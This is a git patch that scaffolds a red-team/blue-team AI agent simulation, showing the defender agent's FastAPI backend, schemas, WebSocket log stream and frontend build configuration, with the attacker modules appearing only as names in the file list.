From 2d5cad35d1e1aa35723f1af1d43a1d31749f35a8 Mon Sep 17 00:00:00 2001 From: gurunathanr Date: Wed, 15 Apr 2026 22:08:48 +0530 Subject: [PATCH 01/26] Skeleton done for the main branch --- .dockerignore | 34 +++++ .env.example | 12 ++ .gitignore | 19 +++ blue_agent/__init__.py | 0 blue_agent/backend/Dockerfile | 36 +++++ blue_agent/backend/__init__.py | 1 + blue_agent/backend/main.py | 64 ++++++++ blue_agent/backend/routers/__init__.py | 1 + blue_agent/backend/routers/defense_routes.py | 34 +++++ blue_agent/backend/routers/patch_routes.py | 23 +++ blue_agent/backend/routers/strategy_routes.py | 26 ++++ blue_agent/backend/schemas/__init__.py | 1 + blue_agent/backend/schemas/blue_schemas.py | 89 +++++++++++ blue_agent/backend/services/__init__.py | 1 + blue_agent/backend/services/blue_service.py | 135 +++++++++++++++++ blue_agent/backend/websocket/__init__.py | 1 + blue_agent/backend/websocket/blue_ws.py | 67 ++++++++ blue_agent/blue_controller.py | 5 + blue_agent/detector/__init__.py | 0 blue_agent/detector/anomaly_detector.py | 5 + blue_agent/detector/intrusion_detector.py | 5 + blue_agent/detector/log_monitor.py | 5 + blue_agent/frontend/Dockerfile | 34 +++++ blue_agent/frontend/index.html | 12 ++ blue_agent/frontend/nginx.conf | 29 ++++ blue_agent/frontend/package.json | 24 +++ blue_agent/frontend/public/.gitkeep | 0 blue_agent/frontend/src/App.tsx | 5 + blue_agent/frontend/src/api/blueApi.ts | 42 +++++ .../frontend/src/components/ActivityPanel.tsx | 51 +++++++ .../frontend/src/components/ChatButton.tsx | 29 ++++ .../frontend/src/components/LogStream.tsx | 78 ++++++++++ .../frontend/src/components/ToolCard.tsx | 70 +++++++++ .../frontend/src/hooks/useBlueWebSocket.ts | 65 ++++++++ blue_agent/frontend/src/main.tsx | 9 ++ .../frontend/src/pages/BlueDashboard.tsx | 101 +++++++++++++ blue_agent/frontend/src/types/blue.types.ts | 36 +++++ blue_agent/frontend/src/vite-env.d.ts | 10 ++ blue_agent/frontend/tsconfig.json | 24 +++ blue_agent/frontend/vite.config.ts | 26 ++++ blue_agent/patcher/__init__.py | 0 blue_agent/patcher/auto_patcher.py | 5 + blue_agent/responder/__init__.py | 0 blue_agent/responder/isolator.py | 5 + blue_agent/responder/response_engine.py | 5 + blue_agent/strategy/__init__.py | 0 blue_agent/strategy/defense_evolver.py | 5 + blue_agent/strategy/defense_planner.py | 5 + config/__init__.py | 0 core/__init__.py | 0 core/base_agent.py | 5 + core/cve_feed.py | 5 + core/event_bus.py | 5 + docker-compose-blue.yml | 68 +++++++++ docker-compose-red.yml | 68 +++++++++ docker-compose.yml | 123 +++++++++++++++ docs/.gitkeep | 0 main.py | 32 ++++ red_agent/__init__.py | 0 red_agent/backend/Dockerfile | 36 +++++ red_agent/backend/__init__.py | 1 + red_agent/backend/main.py | 64 ++++++++ red_agent/backend/routers/__init__.py | 1 + red_agent/backend/routers/exploit_routes.py | 28 ++++ red_agent/backend/routers/scan_routes.py | 40 +++++ red_agent/backend/routers/strategy_routes.py | 26 ++++ red_agent/backend/schemas/__init__.py | 1 + red_agent/backend/schemas/red_schemas.py | 83 ++++++++++ red_agent/backend/services/__init__.py | 1 + red_agent/backend/services/red_service.py | 143 ++++++++++++++++++ red_agent/backend/websocket/__init__.py | 1 + red_agent/backend/websocket/red_ws.py | 68 +++++++++ red_agent/exploiter/__init__.py | 0 red_agent/exploiter/cve_exploiter.py | 5 + red_agent/exploiter/exploit_engine.py | 5 + red_agent/frontend/Dockerfile | 34 +++++ red_agent/frontend/index.html | 12 ++ red_agent/frontend/nginx.conf | 29 ++++ red_agent/frontend/package.json | 24 +++ red_agent/frontend/public/.gitkeep | 0 red_agent/frontend/src/App.tsx | 5 + red_agent/frontend/src/api/redApi.ts | 40 +++++ .../frontend/src/components/ActivityPanel.tsx | 51 +++++++ .../frontend/src/components/ChatButton.tsx | 29 ++++ .../frontend/src/components/LogStream.tsx | 78 ++++++++++ .../frontend/src/components/ToolCard.tsx | 70 +++++++++ .../frontend/src/hooks/useRedWebSocket.ts | 65 ++++++++ red_agent/frontend/src/main.tsx | 9 ++ red_agent/frontend/src/pages/RedDashboard.tsx | 101 +++++++++++++ red_agent/frontend/src/types/red.types.ts | 30 ++++ red_agent/frontend/src/vite-env.d.ts | 10 ++ red_agent/frontend/tsconfig.json | 24 +++ red_agent/frontend/vite.config.ts | 26 ++++ red_agent/misconfig/__init__.py | 0 red_agent/misconfig/misconfig_detector.py | 5 + red_agent/red_controller.py | 5 + red_agent/scanner/__init__.py | 0 red_agent/scanner/cloud_scanner.py | 5 + red_agent/scanner/network_scanner.py | 5 + red_agent/scanner/system_scanner.py | 5 + red_agent/scanner/web_scanner.py | 5 + red_agent/strategy/__init__.py | 0 red_agent/strategy/attack_evolver.py | 5 + red_agent/strategy/attack_planner.py | 5 + requirements.txt | 8 + shared/__init__.py | 0 shared/logger.py | 1 + shared/models.py | 1 + shared/utils.py | 1 + tests/__init__.py | 0 tests/test_blue/__init__.py | 0 tests/test_red/__init__.py | 0 112 files changed, 2731 insertions(+) create mode 100644 .dockerignore create mode 100644 .env.example create mode 100644 .gitignore create mode 100644 blue_agent/__init__.py create mode 100644 blue_agent/backend/Dockerfile create mode 100644 blue_agent/backend/__init__.py create mode 100644 blue_agent/backend/main.py create mode 100644 blue_agent/backend/routers/__init__.py create mode 100644 blue_agent/backend/routers/defense_routes.py create mode 100644 blue_agent/backend/routers/patch_routes.py create mode 100644 blue_agent/backend/routers/strategy_routes.py create mode 100644 blue_agent/backend/schemas/__init__.py create mode 100644 blue_agent/backend/schemas/blue_schemas.py create mode 100644 blue_agent/backend/services/__init__.py create mode 100644 blue_agent/backend/services/blue_service.py create mode 100644 blue_agent/backend/websocket/__init__.py create mode 100644 blue_agent/backend/websocket/blue_ws.py create mode 100644 blue_agent/blue_controller.py create mode 100644 blue_agent/detector/__init__.py create mode 100644 blue_agent/detector/anomaly_detector.py create mode 100644 blue_agent/detector/intrusion_detector.py create mode 100644 blue_agent/detector/log_monitor.py create mode 100644 blue_agent/frontend/Dockerfile create mode 100644 blue_agent/frontend/index.html create mode 100644 blue_agent/frontend/nginx.conf create mode 100644 blue_agent/frontend/package.json create mode 100644 blue_agent/frontend/public/.gitkeep create mode 100644 blue_agent/frontend/src/App.tsx create mode 100644 blue_agent/frontend/src/api/blueApi.ts create mode 100644 blue_agent/frontend/src/components/ActivityPanel.tsx create mode 100644 blue_agent/frontend/src/components/ChatButton.tsx create mode 100644 blue_agent/frontend/src/components/LogStream.tsx create mode 100644 blue_agent/frontend/src/components/ToolCard.tsx create mode 100644 blue_agent/frontend/src/hooks/useBlueWebSocket.ts create mode 100644 blue_agent/frontend/src/main.tsx create mode 100644 blue_agent/frontend/src/pages/BlueDashboard.tsx create mode 100644 blue_agent/frontend/src/types/blue.types.ts create mode 100644 blue_agent/frontend/src/vite-env.d.ts create mode 100644 blue_agent/frontend/tsconfig.json create mode 100644 blue_agent/frontend/vite.config.ts create mode 100644 blue_agent/patcher/__init__.py create mode 100644 blue_agent/patcher/auto_patcher.py create mode 100644 blue_agent/responder/__init__.py create mode 100644 blue_agent/responder/isolator.py create mode 100644 blue_agent/responder/response_engine.py create mode 100644 blue_agent/strategy/__init__.py create mode 100644 blue_agent/strategy/defense_evolver.py create mode 100644 blue_agent/strategy/defense_planner.py create mode 100644 config/__init__.py create mode 100644 core/__init__.py create mode 100644 core/base_agent.py create mode 100644 core/cve_feed.py create mode 100644 core/event_bus.py create mode 100644 docker-compose-blue.yml create mode 100644 docker-compose-red.yml create mode 100644 docker-compose.yml create mode 100644 docs/.gitkeep create mode 100644 main.py create mode 100644 red_agent/__init__.py create mode 100644 red_agent/backend/Dockerfile create mode 100644 red_agent/backend/__init__.py create mode 100644 red_agent/backend/main.py create mode 100644 red_agent/backend/routers/__init__.py create mode 100644 red_agent/backend/routers/exploit_routes.py create mode 100644 red_agent/backend/routers/scan_routes.py create mode 100644 red_agent/backend/routers/strategy_routes.py create mode 100644 red_agent/backend/schemas/__init__.py create mode 100644 red_agent/backend/schemas/red_schemas.py create mode 100644 red_agent/backend/services/__init__.py create mode 100644 red_agent/backend/services/red_service.py create mode 100644 red_agent/backend/websocket/__init__.py create mode 100644 red_agent/backend/websocket/red_ws.py create mode 100644 red_agent/exploiter/__init__.py create mode 100644 red_agent/exploiter/cve_exploiter.py create mode 100644 red_agent/exploiter/exploit_engine.py create mode 100644 red_agent/frontend/Dockerfile create mode 100644 red_agent/frontend/index.html create mode 100644 red_agent/frontend/nginx.conf create mode 100644 red_agent/frontend/package.json create mode 100644 red_agent/frontend/public/.gitkeep create mode 100644 red_agent/frontend/src/App.tsx create mode 100644 red_agent/frontend/src/api/redApi.ts create mode 100644 red_agent/frontend/src/components/ActivityPanel.tsx create mode 100644 red_agent/frontend/src/components/ChatButton.tsx create mode 100644 red_agent/frontend/src/components/LogStream.tsx create mode 100644 red_agent/frontend/src/components/ToolCard.tsx create mode 100644 red_agent/frontend/src/hooks/useRedWebSocket.ts create mode 100644 red_agent/frontend/src/main.tsx create mode 100644 red_agent/frontend/src/pages/RedDashboard.tsx create mode 100644 red_agent/frontend/src/types/red.types.ts create mode 100644 red_agent/frontend/src/vite-env.d.ts create mode 100644 red_agent/frontend/tsconfig.json create mode 100644 red_agent/frontend/vite.config.ts create mode 100644 red_agent/misconfig/__init__.py create mode 100644 red_agent/misconfig/misconfig_detector.py create mode 100644 red_agent/red_controller.py create mode 100644 red_agent/scanner/__init__.py create mode 100644 red_agent/scanner/cloud_scanner.py create mode 100644 red_agent/scanner/network_scanner.py create mode 100644 red_agent/scanner/system_scanner.py create mode 100644 red_agent/scanner/web_scanner.py create mode 100644 red_agent/strategy/__init__.py create mode 100644 red_agent/strategy/attack_evolver.py create mode 100644 red_agent/strategy/attack_planner.py create mode 100644 requirements.txt create mode 100644 shared/__init__.py create mode 100644 shared/logger.py create mode 100644 shared/models.py create mode 100644 shared/utils.py create mode 100644 tests/__init__.py create mode 100644 tests/test_blue/__init__.py create mode 100644 tests/test_red/__init__.py diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 000000000..101a0a86a --- /dev/null +++ b/.dockerignore @@ -0,0 +1,34 @@ +# Python +venv/ +.venv/ +env/ +__pycache__/ +*.pyc +*.pyo +*.pyd +*.egg-info/ +.pytest_cache/ +.mypy_cache/ + +# Node / frontend +node_modules/ +*/frontend/dist/ +*/frontend/node_modules/ +.vite/ + +# Secrets & environment +.env +.env.* +!.env.example + +# VCS / editors +.git/ +.gitignore +.idea/ +.vscode/ +.DS_Store + +# OS / build artifacts +*.log +build/ +dist/ diff --git a/.env.example b/.env.example new file mode 100644 index 000000000..dbe005a23 --- /dev/null +++ b/.env.example @@ -0,0 +1,12 @@ +# Copy this file to .env and fill in real values. + +# CVE feed +CVE_FEED_URL= +CVE_API_KEY= + +# LLM / model providers +OPENAI_API_KEY= +ANTHROPIC_API_KEY= + +# Logging +LOG_LEVEL=INFO diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..404256133 --- /dev/null +++ b/.gitignore @@ -0,0 +1,19 @@ +# Python +__pycache__/ +*.pyc +venv/ + +# Frontend (Vite + React) +node_modules/ +dist/ +*.tsbuildinfo + +# Env & secrets +.env +!.env.example + +# Logs +*.log + +# macOS +.DS_Store diff --git a/blue_agent/__init__.py b/blue_agent/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/backend/Dockerfile b/blue_agent/backend/Dockerfile new file mode 100644 index 000000000..2f763d5bc --- /dev/null +++ b/blue_agent/backend/Dockerfile @@ -0,0 +1,36 @@ +# syntax=docker/dockerfile:1.6 +# Blue Agent Backend β€” FastAPI on port 8002 +# +# Build context MUST be the project root so the image can include +# the shared Python packages (core/, shared/, config/) alongside blue_agent/. +# +# docker build -f blue_agent/backend/Dockerfile -t htf-blue-backend . + +FROM python:3.11-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PIP_NO_CACHE_DIR=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=1 + +WORKDIR /app + +RUN apt-get update \ + && apt-get install -y --no-install-recommends curl \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt ./ +RUN pip install -r requirements.txt + +# Copy only the Python packages the Blue backend needs. +COPY core ./core +COPY config ./config +COPY shared ./shared +COPY blue_agent ./blue_agent + +EXPOSE 8002 + +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD curl -fsS http://localhost:8002/health || exit 1 + +CMD ["uvicorn", "blue_agent.backend.main:app", "--host", "0.0.0.0", "--port", "8002"] diff --git a/blue_agent/backend/__init__.py b/blue_agent/backend/__init__.py new file mode 100644 index 000000000..d8f60b5f5 --- /dev/null +++ b/blue_agent/backend/__init__.py @@ -0,0 +1 @@ +"""FastAPI backend package for the Blue (defender) agent.""" diff --git a/blue_agent/backend/main.py b/blue_agent/backend/main.py new file mode 100644 index 000000000..6ef526fd8 --- /dev/null +++ b/blue_agent/backend/main.py @@ -0,0 +1,64 @@ +"""FastAPI entry point for the Blue Agent backend. + +Runs on port 8002. Exposes REST routes for defense / patch / strategy +operations plus a WebSocket channel that streams live tool-call logs +to the Blue Team dashboard. +""" + +from contextlib import asynccontextmanager + +from fastapi import FastAPI +from fastapi.middleware.cors import CORSMiddleware + +from blue_agent.backend.routers import ( + defense_routes, + patch_routes, + strategy_routes, +) +from blue_agent.backend.websocket import blue_ws + +BLUE_API_PORT = 8002 + + +@asynccontextmanager +async def lifespan(app: FastAPI): + # Startup: place to wire up the BlueController, event bus, log monitors, etc. + yield + # Shutdown: close any open resources here. + + +app = FastAPI( + title="HTF Blue Agent API", + description="Backend for the Blue (defender) AI agent in the HTF simulation.", + version="0.1.0", + lifespan=lifespan, +) + +app.add_middleware( + CORSMiddleware, + allow_origins=["http://localhost:5173", "http://localhost:5174"], + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], +) + +app.include_router(defense_routes.router, prefix="/defend", tags=["defend"]) +app.include_router(patch_routes.router, prefix="/patch", tags=["patch"]) +app.include_router(strategy_routes.router, prefix="/strategy", tags=["strategy"]) +app.include_router(blue_ws.router, tags=["websocket"]) + + +@app.get("/health", tags=["meta"]) +async def health() -> dict[str, str]: + return {"status": "ok", "agent": "blue"} + + +if __name__ == "__main__": + import uvicorn + + uvicorn.run( + "blue_agent.backend.main:app", + host="0.0.0.0", + port=BLUE_API_PORT, + reload=True, + ) diff --git a/blue_agent/backend/routers/__init__.py b/blue_agent/backend/routers/__init__.py new file mode 100644 index 000000000..22d7d954a --- /dev/null +++ b/blue_agent/backend/routers/__init__.py @@ -0,0 +1 @@ +"""HTTP routers for the Blue Agent backend.""" diff --git a/blue_agent/backend/routers/defense_routes.py b/blue_agent/backend/routers/defense_routes.py new file mode 100644 index 000000000..869b28a9b --- /dev/null +++ b/blue_agent/backend/routers/defense_routes.py @@ -0,0 +1,34 @@ +"""Defense endpoints for the Blue Agent.""" + +from fastapi import APIRouter + +from blue_agent.backend.schemas.blue_schemas import ( + ClosePortRequest, + DefenseResult, + HardenServiceRequest, + IsolateHostRequest, + ToolCall, +) +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +@router.post("/close_port", response_model=DefenseResult) +async def close_port(request: ClosePortRequest) -> DefenseResult: + return await blue_service.close_port(request) + + +@router.post("/harden_service", response_model=DefenseResult) +async def harden_service(request: HardenServiceRequest) -> DefenseResult: + return await blue_service.harden_service(request) + + +@router.post("/isolate_host", response_model=DefenseResult) +async def isolate_host(request: IsolateHostRequest) -> DefenseResult: + return await blue_service.isolate_host(request) + + +@router.get("/recent", response_model=list[ToolCall]) +async def recent_actions(limit: int = 20) -> list[ToolCall]: + return await blue_service.recent_tool_calls(category="defend", limit=limit) diff --git a/blue_agent/backend/routers/patch_routes.py b/blue_agent/backend/routers/patch_routes.py new file mode 100644 index 000000000..874acc1da --- /dev/null +++ b/blue_agent/backend/routers/patch_routes.py @@ -0,0 +1,23 @@ +"""Patching endpoints for the Blue Agent.""" + +from fastapi import APIRouter + +from blue_agent.backend.schemas.blue_schemas import ( + PatchRequest, + PatchResult, + VerifyFixRequest, + VerifyFixResult, +) +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +@router.post("/apply", response_model=PatchResult) +async def apply_patch(request: PatchRequest) -> PatchResult: + return await blue_service.apply_patch(request) + + +@router.post("/verify_fix", response_model=VerifyFixResult) +async def verify_fix(request: VerifyFixRequest) -> VerifyFixResult: + return await blue_service.verify_fix(request) diff --git a/blue_agent/backend/routers/strategy_routes.py b/blue_agent/backend/routers/strategy_routes.py new file mode 100644 index 000000000..569daa938 --- /dev/null +++ b/blue_agent/backend/routers/strategy_routes.py @@ -0,0 +1,26 @@ +"""Strategy endpoints for the Blue Agent.""" + +from fastapi import APIRouter + +from blue_agent.backend.schemas.blue_schemas import ( + DefensePlan, + StrategyRequest, +) +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +@router.post("/plan", response_model=DefensePlan) +async def plan_defense(request: StrategyRequest) -> DefensePlan: + return await blue_service.plan_defense(request) + + +@router.post("/evolve", response_model=DefensePlan) +async def evolve_strategy(request: StrategyRequest) -> DefensePlan: + return await blue_service.evolve_strategy(request) + + +@router.get("/current", response_model=DefensePlan) +async def current_strategy() -> DefensePlan: + return await blue_service.current_strategy() diff --git a/blue_agent/backend/schemas/__init__.py b/blue_agent/backend/schemas/__init__.py new file mode 100644 index 000000000..771d204e2 --- /dev/null +++ b/blue_agent/backend/schemas/__init__.py @@ -0,0 +1 @@ +"""Pydantic schemas exposed by the Blue Agent backend.""" diff --git a/blue_agent/backend/schemas/blue_schemas.py b/blue_agent/backend/schemas/blue_schemas.py new file mode 100644 index 000000000..e3509d6ad --- /dev/null +++ b/blue_agent/backend/schemas/blue_schemas.py @@ -0,0 +1,89 @@ +"""Request / response models for the Blue Agent backend.""" + +from datetime import datetime +from enum import Enum +from typing import Any + +from pydantic import BaseModel, Field + + +class ToolStatus(str, Enum): + PENDING = "PENDING" + RUNNING = "RUNNING" + DONE = "DONE" + FAILED = "FAILED" + + +class ToolCall(BaseModel): + id: str + name: str = Field(..., description="Tool name, e.g. close_port, verify_fix") + category: str = Field(..., description="defend | patch | strategy") + status: ToolStatus = ToolStatus.PENDING + params: dict[str, Any] = Field(default_factory=dict) + result: dict[str, Any] | None = None + started_at: datetime = Field(default_factory=datetime.utcnow) + finished_at: datetime | None = None + + +class LogEntry(BaseModel): + timestamp: datetime = Field(default_factory=datetime.utcnow) + level: str = "INFO" + message: str + tool_id: str | None = None + + +class ClosePortRequest(BaseModel): + host: str + port: int + protocol: str = "tcp" + + +class HardenServiceRequest(BaseModel): + host: str + service: str + options: dict[str, Any] = Field(default_factory=dict) + + +class IsolateHostRequest(BaseModel): + host: str + reason: str | None = None + + +class DefenseResult(BaseModel): + tool_call: ToolCall + success: bool = True + detail: str | None = None + + +class PatchRequest(BaseModel): + host: str + cve_id: str | None = None + package: str | None = None + + +class PatchResult(BaseModel): + tool_call: ToolCall + applied: bool = False + notes: str | None = None + + +class VerifyFixRequest(BaseModel): + host: str + cve_id: str + + +class VerifyFixResult(BaseModel): + tool_call: ToolCall + verified: bool = False + evidence: str | None = None + + +class StrategyRequest(BaseModel): + host: str + threat: dict[str, Any] = Field(default_factory=dict) + + +class DefensePlan(BaseModel): + tool_call: ToolCall + steps: list[str] = Field(default_factory=list) + rationale: str | None = None diff --git a/blue_agent/backend/services/__init__.py b/blue_agent/backend/services/__init__.py new file mode 100644 index 000000000..bc457ba64 --- /dev/null +++ b/blue_agent/backend/services/__init__.py @@ -0,0 +1 @@ +"""Service layer wiring HTTP routes to the Blue agent's domain modules.""" diff --git a/blue_agent/backend/services/blue_service.py b/blue_agent/backend/services/blue_service.py new file mode 100644 index 000000000..3235733ee --- /dev/null +++ b/blue_agent/backend/services/blue_service.py @@ -0,0 +1,135 @@ +"""Bridge between the HTTP/WS layer and the Blue agent's domain modules.""" + +from __future__ import annotations + +import uuid +from collections import deque +from datetime import datetime +from typing import Any, Deque + +from blue_agent.backend.schemas.blue_schemas import ( + ClosePortRequest, + DefensePlan, + DefenseResult, + HardenServiceRequest, + IsolateHostRequest, + LogEntry, + PatchRequest, + PatchResult, + StrategyRequest, + ToolCall, + ToolStatus, + VerifyFixRequest, + VerifyFixResult, +) +from blue_agent.detector.anomaly_detector import AnomalyDetector +from blue_agent.detector.intrusion_detector import IntrusionDetector +from blue_agent.detector.log_monitor import LogMonitor +from blue_agent.patcher.auto_patcher import AutoPatcher +from blue_agent.responder.isolator import Isolator +from blue_agent.responder.response_engine import ResponseEngine +from blue_agent.strategy.defense_evolver import DefenseEvolver +from blue_agent.strategy.defense_planner import DefensePlanner + +_TOOL_HISTORY: Deque[ToolCall] = deque(maxlen=200) +_LOG_HISTORY: Deque[LogEntry] = deque(maxlen=500) + +_intrusion_detector = IntrusionDetector() +_anomaly_detector = AnomalyDetector() +_log_monitor = LogMonitor() +_response_engine = ResponseEngine() +_isolator = Isolator() +_auto_patcher = AutoPatcher() +_defense_planner = DefensePlanner() +_defense_evolver = DefenseEvolver() + + +def _new_tool_call(name: str, category: str, params: dict[str, Any]) -> ToolCall: + return ToolCall( + id=str(uuid.uuid4()), + name=name, + category=category, + status=ToolStatus.RUNNING, + params=params, + ) + + +def _finish(call: ToolCall, result: dict[str, Any], status: ToolStatus = ToolStatus.DONE) -> ToolCall: + call.status = status + call.result = result + call.finished_at = datetime.utcnow() + _TOOL_HISTORY.append(call) + _LOG_HISTORY.append( + LogEntry( + level="INFO" if status is ToolStatus.DONE else "ERROR", + message=f"{call.name} -> {status.value}", + tool_id=call.id, + ) + ) + return call + + +async def close_port(request: ClosePortRequest) -> DefenseResult: + call = _new_tool_call("close_port", "defend", request.model_dump()) + # TODO: invoke _response_engine to drop the port + return DefenseResult( + tool_call=_finish(call, {"closed": True}), + detail=f"closed {request.protocol}/{request.port} on {request.host}", + ) + + +async def harden_service(request: HardenServiceRequest) -> DefenseResult: + call = _new_tool_call("harden_service", "defend", request.model_dump()) + return DefenseResult( + tool_call=_finish(call, {"hardened": request.service}), + detail=f"hardened {request.service} on {request.host}", + ) + + +async def isolate_host(request: IsolateHostRequest) -> DefenseResult: + call = _new_tool_call("isolate_host", "defend", request.model_dump()) + return DefenseResult( + tool_call=_finish(call, {"isolated": request.host}), + detail=request.reason or "isolated", + ) + + +async def apply_patch(request: PatchRequest) -> PatchResult: + call = _new_tool_call("apply_patch", "patch", request.model_dump()) + return PatchResult(tool_call=_finish(call, {"applied": True}), applied=True) + + +async def verify_fix(request: VerifyFixRequest) -> VerifyFixResult: + call = _new_tool_call("verify_fix", "patch", request.model_dump()) + return VerifyFixResult( + tool_call=_finish(call, {"verified": True}), + verified=True, + evidence="re-scan returned no matching CVE signature", + ) + + +async def plan_defense(request: StrategyRequest) -> DefensePlan: + call = _new_tool_call("plan_defense", "strategy", request.model_dump()) + steps = ["monitor", "isolate", "patch"] + return DefensePlan(tool_call=_finish(call, {"steps": steps}), steps=steps) + + +async def evolve_strategy(request: StrategyRequest) -> DefensePlan: + call = _new_tool_call("evolve_strategy", "strategy", request.model_dump()) + return DefensePlan(tool_call=_finish(call, {}), steps=[]) + + +async def current_strategy() -> DefensePlan: + call = _new_tool_call("current_strategy", "strategy", {}) + return DefensePlan(tool_call=_finish(call, {}), steps=[]) + + +async def recent_tool_calls(category: str | None = None, limit: int = 20) -> list[ToolCall]: + items = list(_TOOL_HISTORY) + if category: + items = [c for c in items if c.category == category] + return items[-limit:] + + +async def recent_logs(limit: int = 100) -> list[LogEntry]: + return list(_LOG_HISTORY)[-limit:] diff --git a/blue_agent/backend/websocket/__init__.py b/blue_agent/backend/websocket/__init__.py new file mode 100644 index 000000000..6a91cc137 --- /dev/null +++ b/blue_agent/backend/websocket/__init__.py @@ -0,0 +1 @@ +"""WebSocket endpoints for the Blue Agent.""" diff --git a/blue_agent/backend/websocket/blue_ws.py b/blue_agent/backend/websocket/blue_ws.py new file mode 100644 index 000000000..280477849 --- /dev/null +++ b/blue_agent/backend/websocket/blue_ws.py @@ -0,0 +1,67 @@ +"""Live log + tool-call WebSocket stream for the Blue dashboard.""" + +from __future__ import annotations + +import asyncio +from typing import Set + +from fastapi import APIRouter, WebSocket, WebSocketDisconnect + +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +class BlueConnectionManager: + def __init__(self) -> None: + self._connections: Set[WebSocket] = set() + self._lock = asyncio.Lock() + + async def connect(self, ws: WebSocket) -> None: + await ws.accept() + async with self._lock: + self._connections.add(ws) + + async def disconnect(self, ws: WebSocket) -> None: + async with self._lock: + self._connections.discard(ws) + + async def broadcast(self, payload: dict) -> None: + async with self._lock: + stale: list[WebSocket] = [] + for ws in self._connections: + try: + await ws.send_json(payload) + except Exception: + stale.append(ws) + for ws in stale: + self._connections.discard(ws) + + +manager = BlueConnectionManager() + + +@router.websocket("/ws/blue") +async def blue_log_stream(ws: WebSocket) -> None: + """Streams `{type, payload}` envelopes to the Blue dashboard. + + Envelope types: + - `log` : a LogEntry + - `tool_call` : a ToolCall snapshot + - `heartbeat` : keepalive ping + """ + await manager.connect(ws) + try: + for call in await blue_service.recent_tool_calls(limit=20): + await ws.send_json({"type": "tool_call", "payload": call.model_dump(mode="json")}) + for entry in await blue_service.recent_logs(limit=50): + await ws.send_json({"type": "log", "payload": entry.model_dump(mode="json")}) + + while True: + await asyncio.sleep(15) + await ws.send_json({"type": "heartbeat", "payload": {}}) + except WebSocketDisconnect: + await manager.disconnect(ws) + except Exception: + await manager.disconnect(ws) + raise diff --git a/blue_agent/blue_controller.py b/blue_agent/blue_controller.py new file mode 100644 index 000000000..81d90ee30 --- /dev/null +++ b/blue_agent/blue_controller.py @@ -0,0 +1,5 @@ +"""Top-level controller orchestrating the blue agent.""" + + +class BlueController: + pass diff --git a/blue_agent/detector/__init__.py b/blue_agent/detector/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/detector/anomaly_detector.py b/blue_agent/detector/anomaly_detector.py new file mode 100644 index 000000000..624f215de --- /dev/null +++ b/blue_agent/detector/anomaly_detector.py @@ -0,0 +1,5 @@ +"""Behavioral anomaly detection.""" + + +class AnomalyDetector: + pass diff --git a/blue_agent/detector/intrusion_detector.py b/blue_agent/detector/intrusion_detector.py new file mode 100644 index 000000000..ea611eec5 --- /dev/null +++ b/blue_agent/detector/intrusion_detector.py @@ -0,0 +1,5 @@ +"""Signature-based intrusion detection.""" + + +class IntrusionDetector: + pass diff --git a/blue_agent/detector/log_monitor.py b/blue_agent/detector/log_monitor.py new file mode 100644 index 000000000..cbb2834e4 --- /dev/null +++ b/blue_agent/detector/log_monitor.py @@ -0,0 +1,5 @@ +"""Streams and inspects system / application logs.""" + + +class LogMonitor: + pass diff --git a/blue_agent/frontend/Dockerfile b/blue_agent/frontend/Dockerfile new file mode 100644 index 000000000..95ee2416d --- /dev/null +++ b/blue_agent/frontend/Dockerfile @@ -0,0 +1,34 @@ +# syntax=docker/dockerfile:1.6 +# Blue Agent Frontend β€” Vite + React, served via Nginx on port 3002 +# +# Multi-stage build: +# 1. `build` stage compiles the Vite app with Node 20 alpine. +# 2. `production` stage serves the static output via Nginx. +# +# In docker-compose the `build` stage is reused with `target: build` +# to run the Vite dev server with hot reload. + +# ---------- Stage 1: build ---------- +FROM node:20-alpine AS build + +WORKDIR /app + +COPY package*.json ./ +RUN npm install + +COPY . . + +RUN npm run build + +# ---------- Stage 2: production ---------- +FROM nginx:alpine AS production + +# Remove the default nginx site and drop in the Blue config (listens on 3002). +RUN rm -f /etc/nginx/conf.d/default.conf +COPY nginx.conf /etc/nginx/conf.d/default.conf + +COPY --from=build /app/dist /usr/share/nginx/html + +EXPOSE 3002 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/blue_agent/frontend/index.html b/blue_agent/frontend/index.html new file mode 100644 index 000000000..74b7952a1 --- /dev/null +++ b/blue_agent/frontend/index.html @@ -0,0 +1,12 @@ + + + + + + HTF :: Blue Team + + +
+ + + diff --git a/blue_agent/frontend/nginx.conf b/blue_agent/frontend/nginx.conf new file mode 100644 index 000000000..7bb11c64f --- /dev/null +++ b/blue_agent/frontend/nginx.conf @@ -0,0 +1,29 @@ +server { + listen 3002; + server_name _; + + root /usr/share/nginx/html; + index index.html; + + # Client-side routing (React/Vite SPA) β€” fall back to index.html. + location / { + try_files $uri $uri/ /index.html; + } + + # Proxy REST traffic to the Blue backend. + location /api/ { + proxy_pass http://blue-backend:8002/; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } + + # Proxy the live-log WebSocket to the Blue backend. + location /ws/ { + proxy_pass http://blue-backend:8002; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_read_timeout 3600s; + } +} diff --git a/blue_agent/frontend/package.json b/blue_agent/frontend/package.json new file mode 100644 index 000000000..4fd873441 --- /dev/null +++ b/blue_agent/frontend/package.json @@ -0,0 +1,24 @@ +{ + "name": "htf-blue-frontend", + "private": true, + "version": "0.1.0", + "type": "module", + "scripts": { + "dev": "vite --port 5174", + "build": "tsc -b && vite build", + "preview": "vite preview --port 5174", + "lint": "tsc --noEmit" + }, + "dependencies": { + "axios": "^1.7.7", + "react": "^18.3.1", + "react-dom": "^18.3.1" + }, + "devDependencies": { + "@types/react": "^18.3.11", + "@types/react-dom": "^18.3.0", + "@vitejs/plugin-react": "^4.3.2", + "typescript": "^5.6.2", + "vite": "^5.4.8" + } +} diff --git a/blue_agent/frontend/public/.gitkeep b/blue_agent/frontend/public/.gitkeep new file mode 100644 index 